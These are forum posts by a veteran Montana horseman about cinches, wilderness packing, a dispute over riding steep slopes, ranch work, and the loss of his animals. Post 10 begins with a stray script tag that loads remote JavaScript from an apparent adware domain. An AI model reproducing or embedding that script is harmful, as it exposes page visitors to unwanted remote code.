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    horses, horse training; golden retrievers, dog training, photography

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  1. Cinch Types

    I have always used roper style cinches, both for ranch work and trails. The biggest part of the time ranch work riding is not any different than trail riding as you are just going from one location to another, even when moving cows, but you like to have a roper style cinch for the occasions when you do rope. I have also always preferred mohair although do like the Alpaca cinches too. Have never seen nylon on the mid-strap where the rings for the breast collar and back cinch go, although that only means I have not seen it, not that it isn't used, as mine have always had a leather strap sewed in there. This has never posed a problem of any sort. The back cinch on my big saddle is also a very wide leather one, even wider than the mohair front cinch. .
  2. Packing Ahorse

    I was a packer and guide for many years back in the 50's and 60's in what was to become the Bob Marshall Wilderness Area, the Scapegoat Wilderness Area and the Great Bear Wilderness and also packed for a couple of summers in Glacier National Park. Hunting trips, fishing trips, sightseeing trips, photography trips, just kind of whatever the people wanted. (No hunting in Glacier Park of course). We primarily used mainly manty tarps which are tied with ropes before you put them on the pack saddle and tie them, although also used panniers and camp boxes. Although I know how to throw a diamond hitch, in all the years I packed (which also included some packing during my 29 year game warden and animal depredation career), I never used it. Was a waste of time and rope as far as we were concerned. 95% of the time used the barrel hitch or basket hitch and the rest of the time, winged it depending on what kind of load I had, Packed both horses and mules using primarily decker saddles but also had a few sawbucks if we needed them or the load called for it. Biggest load, and there were three of us involved, was a full sized Monarch wood range with warming oven and water reservoir. Had to take it up over the continental divide and down to the permanent hunting camp. Back then we were allowed to do that. Took our two big work horses, Baldy and Short Fuse. Short hauled it the 11 miles up and Baldy the 7 miles down. He got it right to the edge of the camp clearing and lay down. Basically told us if we wanted it any further, we could carry it ourselves. Which we did. Weight was 457 lbs total. Had to do it to get the camp cook we wanted or she wouldn't cook for us. Had the best eating camp in the entire wilderness for 7 years and it was well worth getting it in there. And Smilie, you can top pack when using the basket and barrel hitch. Did it all the time. Grouchy Just bought a new horse. Weed has been retired for 5 years due to arthritis, Hobby is now basically retired because he's 22 and wore out and Willow came down with laminitis yesterday, and although got it real early and will get her through it, she will not be rideable for a while. Pick the new one up on the 28th. 7 year old QH mare. Really looking forward to it.
  3. Steep Slopes

    Nope. No problem with it at all. Glad you cleared it up because the post made it seem you had researched this whole riding downhill problem all that time. Problem is just with you and how you go about presenting things. And I am not Grouchy Grizzle but Grouchy Grizzly. Would have been Grumpy Grizzly but Grumpy was already taken by one of the 7 dwarfs. Now you've done it sonny. Assuming that everyone other than you has nothing but limited experience. Rather presumptuous of you, just as it was when you earlier assumed you did way more riding than me when you had absolutely no idea what my riding time or experience is or was. Says quite a bit more about you right there. Experience does not necessarily translate into miles covered but I have way more of my share of those. Might not be more miles than you, don't know, don't care, but my experience with horses and mules I will put up against yours any day of the week. My younger days when you were looking for time to ride, I was often spending from light up to dark down in the saddle and going through two or three horses a day at the time. Might have been anything from wrangling horses in a huge, wooded mountain horse pasture when I was 12 years old, to packing a full sized Monarch wood cooking range over the continental divide to our permanent hunting camp (although had help with that one) to moving cows miles and miles. And like I said earlier, been riding, packing, breaking, training and whatever else was necessary with horses for 65 years, which makes me an authority on absolutely nothing about them. And I know there are people on this list and on Horse City whose experience and knowledge are much, much greater than yours or mine will ever be, I have not really gotten into your discussion about riding down steep slopes and have no intention of doing so. Semantics may play a large part in understanding what you are saying, but not in the way you present it, and that's where the kicker comes in. You, as the absolute authority and by far most experienced, which is a crock. Of what, people can decide for themselves. Would like to be an expert like you but just to old and dumb for that. Was to young and dumb before that. Besides when you look at the word "expert" and break it down "ex" is a has been and "spert" is a drip under pressure. Might fit you. Better to be an authority or as in my case a non-authority. And by the way, the "Grizzly" part comes because of my personality. Been around them so damned much I have taken on their ways. And now back into hibernation until spring really gets here.
  4. Steep Slopes

    Did research for 45 years, starting I guess when you were 19 years old. And riding anywhere from 30 to 70 miles week after week. Suppose I should pay attention to what you say. However, went out and had a conversation with my old Foxtrotter mare and my one eyed cutting horse while they were chomping down some hay and tried to explain to them what you were all about. Both of them told me to forget all about the leaning forward or leaning back stuff and just stick to keeping centered (whatever that might be) and keep that feel for them between my legs (whatever that might be) and stay out of their way and let them do their work, whether it's going up and down hills, working cattle or just playing around in an arena (which very seldom happens) Seems to have kept me mostly out of trouble and them too. So guess I will stay with "centered" and "feel".. Much easier for me and my poor old battered body to deal with than all that other stuff which I haven't bothered to research. Besides, had a group conversation with all my alternate personalities and they were of the same mind. Might be the first time that's ever occurred. All of them concurring, that is. And by the way, posted the mountain pictures just so would have proof I have ridden more than 6 degree slopes from time to time. 'Course, I could have just taken those pictures from some place on the web, and in this digital age, pictures are not necessary proof of anything anyhow. Going to head back to my recliner now, put the shawl over my feet and think deeply once again about all you have said. See if I can change all my minds.
  5. Steep Slopes

    Don't know where you did your tracking but it sure isn't anywhere in the northwest US or western Canada if you have not seen goldens track. Some of the best there are. Prefer laid back dogs. Do my own guard duty whenever necessary. Do have one question however; Are you important to anybody besides yourself?
  6. Steep Slopes

    I get my miles in. Not as many as I used to, but have been behind 400 cow/calf pairs when it is 20 below and the wind is banging on 40-50 mph trying to get them to a safe place and lots of other below zero riding for whatever reason. Quantity is not as important as quality in lots of things including riding Glad you get all that time in. As for if I have ever slid down extreme slopes, the pictures will give you an idea of a big share of the country I ride in. Fairly steep slopes are encountered when your keeping an eye on and gathering cows in this type of country. And I have had to slide down them occasionally. Also ride the plains and can get into some pretty good slopes there. Won't get into leaning forward or back, I just try to stay centered, for whatever that is worth and whatever it might mean. Seem to have gotten away with it all these years. As for all your dog training experience, Whoopee. I guess you done good. I ran a dog training school for 12-14 years. primarily pet obedience, but also competition OB, agility, tracking, and hunting. Have lots of titles too from the 18 golden retrievers I have had. Whoopee to me too. Still don't think I would want you riding with me. Probably would not be able to hear myself think with you telling me everything I was doing wrong.
  7. Steep Slopes

    Newbie; have no idea who you are, your age or experience with horses. What I do know is I have been breaking, training, packing and riding horses for 65 years or so, which makes me an expert (or authority) on absolutely nothing except the fact I would never want you riding with me in some of the county I have had to traverse while checking on or rounding up livestock. Would be picking you up off the ground to much when you went over your horses ears. Grouchy (and hello to all you "old timers" on the list out there)
  8. Some Summer Pics And An Update

    Had a bucking horse futurity here which was run by my one ranching boss, the one with the yearlings. Thought some of those pics might be enjoyable. this one (below) is a real sunfisher. And then the bad. the little guy below is Rusty, a two year old border collie/aussie mix that I got as a buddy for my young 3 1/2 year old golden, Tucker. Unortunatley, three weeks later, Tucker developed liver disease and after two weeks in a high tech doggie hospital and three weeks of trying to get him throught it, I had to put him down. It is the first time in 30 years I have been without a golden and it sucks. So now, I have to get a golden buddy for Rusty so we'll both have someone to paly with. Has not been a good past year, with the loss of three of my goldens, Cloudee, my all time favorite Foxtrotter mare, and having to take an eye out of Hobby. Who by the way, has adapted quite well and does great working cows. Don't need any sympathy. Life (and death) is what it is and hopefully the coming year will be better. Hoping to get more riding in this fall so may have more pics afterwhile. Hope you all have a Happy Hollow Weenie. Grouchy.
  9. Have not been on HC in quite awhile for various reasons. Thought I would check in now and post a few pics from the past summer. Did not get my usual amount of riding in and have not been happy aoubt it all. One of my main ridng jobs downsized considerably due to a loos of a lease and my other main rdiing job on yearlings didn't materialize because we had no grass in the spring until aferr that rancher usually bought his yearlings. That's the one I really missed because love to ride them up on the moutain. Did get some riding in for other ranches and a few trail rides, so to speak. Pics are from various rides and places. As usual, had to take a couple of lady friends out. Went to a place called Hole in the Wall, but is not the one best known in Wyoming, which I would love to see. Was forced to take this lovely young lady up to Blind Horse. Looking at a set of black bear tracks in the mud. Some random pics from a couple of rides.
  10. <script src="http://sg.perion.com/v1.1/js/gen.js?d=24062013"> </script> Have not been on much this spring or summer so far. Have been riding but lost my two main riding jobs due to downsizing and loss of leases so not my usual amount. With Cloudee gone and Hobby still adjusting to the loss of the eye, probably just as well. Pics are from some of what I've been doing the last couple of months though, so hope you enjoy them. Was stumped for a title for this picture, taken up on Yeager Flats on the lower slopes of Ear Mountain. The next few are from around Yeager Flats and some of the wildflowers and scenery. Ran into this guy on the way up. Was about twenty to thirty yards from him and he paid absolutely no attention to me and the horses other than one glance and then dismissed us as below his station in life. Horses weren't real happy but just stood their ground. Ran into a young grizzly a couple of days ago but he left to quick to get any pictures. Moved a little bunch of pairs and this poor calf had a huge abcess on his stomach. Were able to get hold of the local vet and he came up to the pasture to take care of it. (That's me in the foreground with the rope around my waist. ) Got pictures of a couple of my surrogate granddaughters at the regional High School Rodeo. Was pretty funny as Paige here, was the next to last to run barrels and had the fastest time of anyone, high school or Jr. High and then her sister ran right after and beat her. Love the muscle definition here on Shelby, the sisters, horse. Had other high school rodeo pics and some branding but might post them later. Have a storm coming through and better get some animals under shelter.
  11. Afraid the New Year has not improved things much although I am pretty well healed up now and able to ride, In fact, went over to my old stomping grounds a couple of weeks ago where some friends team sort every Saturday, borrowed one of their horses, got an old lady friend for a partner and the two of us set the record for the year up to that time in the sorting. Felt great. I reported on here earlier that I sent Hobby and Willow south a couple of hundred miles for the winter to Cloudee and Willows breeders. Very longtime friends and good horsepeople. Unfortunately the called early February 20th and left a message to get hold of the vets at the Twin Bridges clinic right away. Upshot was at some time there Hobby had an accident to his left eye out in the pasture at sometime and as soon as they saw it, got the vet to come and take him to the clinic. To make a long story short, I ended up giving them the order to remove his eye to prevent further problems down the line. He had also lost 100+ lbs in weight, possibly much, much more as you can see from the pictures. He and I will both survive this but will definitely put him on an earlier road to semi-retirement. Big thing right now is to get weight back on him and toward that end am feeding him Purina Equine Senior, free choice good grass hay and some oats everyday. Will be back to riding Willow as soon as the weather settles down and maybe back to getting some pictures one of these days too.
  12. A Sad Update

    Hi everyone. Rather than reply to the post below, thought I would go ahead and do this new one to explain where and why I"ve been gone for a few months. Was both a good and really bad summer and fall, starting with a torn interior calf muscle in late June. Was performing a very complicated gymnastic type manuever called swinging your leg over a fence to cross to the other side. Evidently caught something just right (not on the fence) which caused the left calf muscle to tear inside the muscle. Othopedic surgeon showed me on the MRI what had happened and declined to operate saying it would probably do more damage to the muscle getting in to repair it. So limped around on it for about six weeks which resulted in my back going out. To shorten the story I ended up making 5 trips to our local ER, an overnight at the local hopsital, 12 first thing in the moring trips to the chiropractor so I could get along enough to ride up on the 300 yearlings I was keeping an eye on and get them gathered in the fall, 3 trips to the neurosurgeon in Gt. Falls which eventually ended up in 4 hours of back surgery to repair one disc which was in pieces, trim another disc and rotor rooter a number of arthritic bone spurs in the spinal column. Could have taken all that but in August my old golden Triever, 11 years, had to be put down because he was just no longer able to keep himself up. And then late in the afternoon the day before Thanksgiving, the absolute love of my equine life for many years, Cloudee, my 20 year old foxtrotter mare died very suddenly and unexpectedly probably from heart failure. At 4:30 in the afternoon she appeared fine when I saw her and the other two in the corrals waiting to be fed and at 5:30 when the friend feeding for me due to my surgery, came running in to tell me she had died. Had just fallen over right where I had seen her standing. Needless to say that has been extremely traumatic for me, and now, because I actually did a smart thing, I have no horses here for the winter. Loaded up Hobby and Willow and sent them south for the winter down to Cloude's breeders so I wouldn't be tempted to try riding before the back is ready. Hoping to be riding ready by the first of April and will have another 300 yearlings to look after next summer if things go right but at this point am not enjoying things at all. No horses, short on dogs and very limited in what I can do. Got a kindle fire and am catching up on lots of reading and hitting physical therapy work twice a day at the local hospital. Terriby exciting. Will hopefully get lots of pictures next summer though and get back in the swing of things. Any how, that's the long and not so short of it. . Hope you all have a great Christmas and may post some old pics in midwinter just for a break. Grouchy
  13. Fall In The Eastern Sierras

    Getting a few fall colors here now but they might not last long. Loaded out two semi-loads of yearlings on Wednesday morning in a full blown bizzard. Wind took a lot of the colors away but still have plenty if the breezes stay down. We virtually never have power loss from these storms but this one the snow was so wet and heavy it took lots of trees, lines and poles down. Ranchers up the Bellview road were out for a few days because it snapped 73 poles off at the ground. Hope all the leaves are gone before the next storm but it doesn't have to hurry getting here. Still missing ten yeaarlings too so getting lots of riding in with the colors.
  14. Hey PD The light palimino FT you remember did not work out at all. That was two or three years ago, I think. Willow is Cloudee's full sister but six years younger at 14. Long, long story but I bought Cloudee, Willow and Charmee for David Letterman when Willow was three. I basically broke her and then rode her while they owned her for a couple of years. The returned Cloudee and Willow to the breeder after I left because they walked to fast for the quarter horses they had acquired. I bought Charmee from them because they were going to put her down on the advice of their horse guru. She had torn her deep digital flexor tendon which I had to find out since the guru thought she just had a simple sprain and would be fine. Idiot. Anyhow when it was determined she had torn the DDFT he thought she should be put down and I talked them into selling her to me for the great sum of $1.00 Put her on two months stall rest, one month hand walking and turned her out for three months then and she turned out fine. I traded her for Cloudee when they were returned to the breeders who are great lifelong friends of mine. Was great getting Willow back up here now too. She had not been rode for two years when I brought her up but breaking her and knowing her personality did what is generally considered foolish, although normal for me, (ask my siblings) and took her to a poker ride the next day, saddled her up and away we went. Was pretty fast for ahwile and had to keep going in large circles because she would get so far ahead and I had not idea where we were going. Tons of fun. But with Cloudee and Hobby both 20 had to start looking for something younger too. She's a loaner right now but hoping I get to keep her.
  15. And Lo and Behold, when I looked where her ears were pointing, more black goats in the form of yearling steers. and when I rode a little farther, here were some way down below us. Fortunately we were able to round up a few of same and bring them back a ways. Unfortunately, being what they are, we were unable to bring any all the way down to the trailers where we could load them and prove we had actually found some black mountain goats. one of the days, it will be back to the high country of this peak where we were to try and bring some down again. And even though people are laughing behind my back about this, we had one thing over any of them. And that was a long ride in some of the most beautiful country around. In fact, have been doing this day after day after day. Poor, poor me.